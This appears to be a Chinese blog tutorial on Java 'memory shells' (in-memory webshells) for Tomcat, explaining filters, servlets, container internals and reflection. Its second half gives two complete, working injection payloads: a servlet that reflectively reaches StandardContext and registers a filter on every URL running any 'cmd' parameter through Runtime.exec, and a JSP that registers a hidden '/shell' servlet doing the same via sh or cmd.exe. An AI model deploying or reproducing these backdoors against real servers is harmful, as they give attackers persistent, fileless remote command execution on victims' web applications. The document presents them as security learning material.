java内存马学习与理解
文章目录1. 前置知识1.1 java web 核心组件listenerfilterfilter的生命周期filter链servlet2. tomcat2.1 核心组件1. connector组件2. container组件1. 前置知识1.1 java web 核心组件首先我们得知道,java网站都一定会有一个web容器。listener本质是一个java类。作用是监听Application、S
文章目录
1. 前置知识
目前Java内存马的全流程已经有完善的解决方案了:
● 第一步,获取当前请求的HttpRequest对象或tomcat的StandardContext对象(Weblogic下是ServletContext对象),SpringMVC和SpringBoot下注入controller和interceptor则是获取到WebApplicationContext对象。
● 第二步,创建servlet、filter或controller等恶意对象
● 第三步,使用各类context对象的各种方法,向中间件或框架动态添加servlet、filter或controller等恶意对象,完成内存马的注入
向各种中间件和框架注入内存马的基础,就是要获得context,所谓context实际上就是拥有当前中间件或框架处理请求、保存和控制servlet对象、保存和控制filter对象等功能的对象。
在Tomcat的第一步中,可以先获取HttpRequest对象,再通过该对象的getServletContext方法获取servletContext对象,并一步一步获取到StandardContext对象。也可以直接获取StandardContext进行后面的操作。
1.1 java web 核心组件
首先我们得知道,java网站都一定会有一个web容器。listener、filter、servlet都是在web.xml中配置的。
参考:web.xml配置详解
listener
本质是一个java类。
作用是监听Application、Session和Request三大对象创建或者删除,然后根据监听的结果来执行提前编写的代码。
可以简单的理解成当发生某个行为的时候,触发某段代码的执行。
filter
本质是一个java类。
是由容器进行调度和执行的。
接收来自客户端的web请求并对其进行必要的修改和内容判断。
可以简单的理解成对接收到的请求进行格式化,修改成后面servlet所需要的数据格式。
假设客户端发过来的数据是“姓名=张三”
。某个filter的作用可能就是将“姓名=张三“改成”姓名=张三ZHANGSAN“
,然后发送给处理数据的servlet。
如果没有filter存在,那么请求将会直接发给servlet。可以个servlet在web.xml中配置多个filter。当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。
dofilter方法中还有一个chain.dofilter方法,这个方法的作用是将请求转发给filterchain中的下一个filter,如果没有下一个filter则直接转发给servlet,并触发servlet的service函数。
filter的生命周期
与servlet一样,Filter的创建和销毁也由web容器负责。 web 应用程序启动时,web 服务器将创建Filter 的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只会执行一次)
。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。
Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁
。销毁函数会在Web容器卸载 Filter 对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。
filter链
当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain,然后调用filterchain中其他filter的filter.doFilter方法。
servlet
本质是一个java类。
是由容器进行调度和执行的。
是处理数据的模块。里面有一个函数services,这个函数是servlet的核心代码,实现servlet的核心功能。
所有servlet在第一次被访问的时候会创建,直到服务器关闭的时候才会被销毁。
2. tomcat
tomcat本质是web服务器和servlet容器的集合体,与客户端交互的流程大致如下:
tomcat容器要完成的任务很简单,就是要能够提供一个接口让其它程序能够访问到 Service 集合,同时要维护所包含的所有 Service 的生命周期,包括如何初始化、如何结束服务、如何找到别人要访问它的 Service。还有一些次要的任务,如记录Service运行日志,维护Session等等。
2.1 核心组件
1. connector组件
tomcat通过connecter组件实现与客户端的网络连接,通过container组件实现数据与servlet的交互。一个tomcat中可以有很多个service,其中默认的service叫做catalina。一个service可以有多个connector,但只能有一个container。
每个service支持很多协议,例如http1或http2,不同的协议对应不同的connector。客户端通过不同的协议请求服务,其实就是将请求发送给对应协议的connector。
2. container组件
-
Engine(引擎)
负责处理来自相关联的service的所有请求,处理后,将结果返回给service,而connector是作为service与engine的中间媒介出现的。Engine的细节会在$CATALINA_HOME/conf/server.xml
中进行配置。
一个engine下可以配置一个默认主机,每个虚拟主机都有一个域名。当engine获得一个请求时,它把该请求匹配到虚拟主机(host)上,然后把请求交给该主机来处理。
Engine有一个默认主机,当请求无法匹配到任何一个虚拟主机时,将交给默认host来处理。Engine以线程的方式启动Host。 -
Host
代表一个虚拟主机,每个虚拟主机和某个网络域名(Domain Name)相匹配,host的细节会在$CATALINA_HOME/conf/server.xml
中进行配置。
每个虚拟主机下都可以部署一个或多个web应用,每个web应用对应于一个context,有一个context path。
当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理匹配的方法是“最长匹配”,所以一个path==””的Context将成为该Host的默认Context所有无法和其它Context的路径名匹配的请求都将最终和该默认Context匹配。 -
Context
一个Context对应于一个Web应用,Context的细节会在$CATALINA_HOME/conf/server.xml
中进行配置,当tomcat版本大于5.5
时,就会在单独的$CATALINA_HOME/conf/context.xml
中进行配置。一个Web应用由一个或者多个Servlet组成Context在创建的时候将根据配置文件$CATALINA_HOME/conf/web.xml
和$ WEBAPP_HOME/WEB-INF/web.xml
载入Servlet类。当Context获得请求时,将在自己的映射表(mapping table)中寻找相匹配的Servlet类,如果找到,则执行该类,获得请求的回应,并返回。 -
Wrapper
Wrapper 代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。
Wrapper 的实现类是 StandardWrapper,StandardWrapper 还实现了拥有一个 Servlet 初始化信息的 ServletConfig,由此看出 StandardWrapper 将直接和 Servlet 的各种信息打交道。
StandardContext 实现了类加载器、session管理、wrapper管理等模块,在启动时顺序启动这些模块。在请求进入时,由这些模块互相合作处理请求。
3. java反射
通过java反射机制可以修改已经实例化的对象的参数。
import sun.font.TrueTypeFont;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class Apple {
private int price=2;
private int test=11;
public int getPrice() {
return price;
}
public void setPrice(int price) {
this.price = price;
}
public static void main(String[] args) throws Exception{
//正常的调用
System.out.println("创建apple1对象");
Apple apple1 = new Apple();
System.out.println("利用内置函数将私有变量private的值设置为5");
apple1.setPrice(5);
System.out.println("通过apple1对象的内置函数读取price的值为:" + apple1.getPrice());
Field b = apple1.getClass().getDeclaredField("price");
Field c = apple1.getClass().getDeclaredField("test");
System.out.println("通过反射机制修改apple1对象的私有变量price的值为3");
b.set(apple1,3);
System.out.println("修改后直接读取price的值为"+b.get(apple1));
System.out.println("通过apple1对象的内置函数读取price的值为:" + apple1.getPrice());
System.out.println("直接读取私有变量test的值为"+c.get(apple1));
System.out.println("综上,通过反射机制修改了已经实例化的对象的值。");
}
}
4. 其他知识
-
web应用启动的时候,会产生
ServletContext
对象,每个web应用都会有自己的ServletContext
对象,123.123.123.123/user是一个web应用,123.123.123.123/news也是一个web对象。 -
使用request.getServletContext()函数会得ServletContext,它本质是ApplicationContextFacade类的对象,任何人都可以使用request.getServletContext()获取servletcontext。
-
ServletContext
其实是一个接口,这个接口的实现是ApplicationContext
类。StandardContext对象其实也就是ApplicationContext对象。 -
ApplicationContext中有一个私有变量叫做StandardContext,
StandardContext类的对象可以动态创建servlet和servlet的映射,也可以通过修改参数来添加filter到filterchain。
-
如果能通过反射调用StandardContext对象中的函数,那么就能制造filter与servlet类型的内存吗。
2. 实现tomcat内存马
2.1 filter型
将恶意数据例如filterdef、filtermap等添加到standardcontext中,然后生成一个filterconfig,并添加到filterconfigs中,恶意filter就会被自动加载到filterchain中并与我们指定的url绑定,形成filter形内存马,此时我们访问那个url就会触发内存马。恶意代码在我们写的filter中的dofilter函数中.
逻辑:
-
创建恶意的filter。
-
创建FilterDef,里面存着filter的基本信息,例如类名。
-
创建FilterMap,里面是filter与url的绑定信息,换句话说就是访问哪个url时触发这个filter。可以理解成这一步是在更改web.xml文件。
-
通过StandardContext与FilterDef创建新的FilterConfig并添加到filterConfigs中并与之前声明的filter进行配对。
-
访问刚刚绑定的url即可添加filter内存马。
一句话总结就是想办法在内存中写入一个恶意filter并与某个url绑定。
request进入container后会与engine、host、context、wrapper交互,其实是与他们中的的pipeline-valve进行交互。等engine、host、context、wrapper中每一个valve都执行完的时候,也就是当wrapper最后一个valve,StandarWrapperValve执行结束的时候,会生成一个filterchain
。接着filterchain中的filter会依次执行自己的dofilter函数。如果我们可以在filterchain中加入一个恶意的filter并绑定某个url,此时我们访问那个url即可实现命令执行。
filterchain是怎么来的
filterChain是ApplicationFilterFactory.createFilterChain
函数的返回值。
如何控制filterchain的内容
进入ApplicationFilterFactory.createFilterChain函数
我们发现所有的filter被放在了一个名为filterMaps
的数组中,StandardContext.findFilterMaps()函数会返回这个数组,这个数组filtermaps中存储的是url跟filter的映射关系
:
并通过matchDispatcher()、matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,是否存在对应filter的实例。当实例不为空时通过filterchain.addfilter(Filterconfig)函数来将FilterConfig对应的filter添加到filterchain中。
此时filter内存马已经添加完成。
也就是意味着standardcontext中的filtermap中有我们指定的filter,且filterconfig中有我们指定的filter,那么这个filter就会被正常加载到内存。
接下来的任务就是修改FilterMap与FilterConfig的值。
filterMaps是StandardContext对象中的数据我们可控。filterconfig是StandardContext中的数据我们可控,filterconfig中我们需要添加filterdef它也是我们可控的,StandardContext是我们可以操控的。综上filter动态添加过程是我们可操控的。
三者数据结构如下:
private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap();
private HashMap<String, FilterDef> filterDefs = new HashMap();
private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps();
filterConfigs
成员变量是一个HashMap对象,里面存储了filter名称与对应的ApplicationFilterConfig
对象的键值对,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息。filter名=对应的filterconfig
filterDefs
成员变量成员变量是一个HashMap对象,存储了filter名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据。filter名=对应的filterdef
filterMaps
中的FilterMap则记录了不同filter与UrlPattern的映射关系。filter名=绑定的url
具体修改filterchain值的方法
代码如下
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.Scanner;
@WebServlet("/demoServlet")
public class demoServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Field Configs = null;
Map filterConfigs;
try {
//这里是反射获取ApplicationContext的context,也就是standardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true); //忽略权限控制检查,获取很高的代码执行权限
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
String FilterName = "cmd_Filter";
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(FilterName) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
//反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (FilterDef)declaredConstructors.newInstance();
o.setFilter(filter); //设置filter
o.setFilterName(FilterName); //设置filter的名字
o.setFilterClass(filter.getClass().getName()); //设置filter的类
standardContext.addFilterDef(o); //在standardContext中加一个FilterDef
//反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance(); //生成filtermap的实例
o1.addURLPattern("/*"); // 设置匹配的url路径,这里是任意路径
o1.setFilterName(FilterName); //设置路径匹配的filter
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1); //添加一个filtermap到standardContext中
//反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);//生成ApplicationFilterConfig类型的值,等待被添加到filterconfig列表中,filterconfig中的内容都是ApplicationFilterConfig格式的
filterConfigs.put(FilterName,filterConfig); //将新的filterconfig添加到filterconfig列表里面。
response.getWriter().write("Success");
}
} catch (Exception e) {
e.printStackTrace();
}
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}
2.2 servlet型
sevlet内存马就是通过反射机制调用调用StandardContext类的方法动态加载一个恶意类到内存中并调用其addServletMapping()函数
将恶意servlet与我们指定的url绑定。此时我们访问那个恶意url即可完成攻击.
逻辑:
-
使用request.getServletContext()函数会得ServletContext,它本质是ApplicationContextFacade类的实例,任何用户都可以使用request.getServletContext()函数获取到ServletContext。
-
ApplicationContextFacade类中封装有ApplicationContext类的私有对象,这个私有对象名为context。
-
ApplicationContext中有StandardContext类的私有对象,名为context。
-
StandardContext类的对象可以动态创建servlet和servlet的映射。
-
综上,任意用户都可以通过反射机制调用StandardContext类的对象来动态创建servlet和servlet的映射。
代码逻辑
获取StandardContext 以及创建Servlet包装类。
添加Servlet到StandardContext并初始化Servlet。
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%
// 创建恶意Servlet
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
%>
<%
// 获取StandardContext
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
// 用Wrapper对其进行封装
org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
newWrapper.setName("jweny");
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
// 添加封装后的恶意Wrapper到StandardContext的children当中
standardCtx.addChild(newWrapper);
// 添加ServletMapping将访问的URL和Servlet进行绑定
standardCtx.addServletMapping("/shell","jweny");
%>
3. 参考文章
一文看懂内存马
浅谈哥斯拉内存马
Java Filter型内存马的学习与实践
Java安全之基于Tomcat实现内存马
tomcat host 及context配置
详解tomcat配置文件server.xml
web.xml配置详解
StandardContext获取
更多推荐
所有评论(0)